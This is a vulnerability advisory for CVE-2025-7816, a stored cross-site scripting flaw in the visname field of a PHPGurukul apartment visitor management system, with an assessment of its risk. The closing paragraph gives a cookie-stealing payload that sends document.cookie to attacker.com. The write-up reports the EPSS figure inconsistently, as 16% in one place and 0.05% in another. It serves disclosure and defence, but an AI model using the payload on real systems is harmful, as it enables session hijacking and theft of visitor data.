PHPGurukul Apartment Visitors Management System CVE-2025-7816

Exploitation requires: (1) Valid authentication credentials to the Apartment Visitors Management System (PR:L in CVSS vector), (2) User interaction where a victim must visit the /visitor-detail.php page with the attacker-controlled visname parameter (UI:P), and (3) The visname parameter must not be filtered by any existing server-side or client-side input validation. No special configuration is required-the vulnerability exists in default installations. Exploitation is blocked if: the application is protected by a WAF with XSS filtering, if access to /visitor-detail.php is restricted to specific IP ranges, if the application is deployed behind a proxy that strips JavaScript payloads, or if modern browsers enforce strict Content Security Policy (CSP) headers that the application does not appear to implement.

Despite the low CVSS score (2.0) and extremely low EPSS percentile (16%), this vulnerability carries moderate real-world risk for deployed instances due to multiple mitigating and aggravating factors. CVSS vector analysis shows AV:N (network-accessible), AC:L (low complexity), but PR:L (requires login) and UI:P (requires user interaction), limiting widespread exploitation. However, EPSS at 0.05% percentile indicates this is NOT commonly exploited in practice-the public POC exists but adoption is negligible. This suggests the vulnerability targets a small user base with minimal security maturity. Organizations running this specific product face elevated risk only if: (1) the application is internet-facing, (2) user accounts are compromised or social engineering succeeds, and (3) attackers use the POC to harvest session cookies or credentials from staff/visitors. For most organizations, this is a low-priority patch due to low EPSS and the rarity of this product in enterprise deployments. However, any internet-facing instance should remediate immediately given the simplicity of the attack and the public POC.

An authenticated staff member or attacker with a low-privileged account submits a POST request to /visitor-detail.php with visname set to '<img src=x onerror="fetch('https://attacker.com/steal?cookie='+document.cookie)">'. When another staff member or manager views the visitor detail page, the JavaScript executes in their browser context, sending session cookies to the attacker. The attacker then impersonates the victim user to access the management interface or extract visitor data. This requires the attacker to either compromise a staff account or trick a staff member into clicking a malicious link that pre-fills the vulnerable parameter.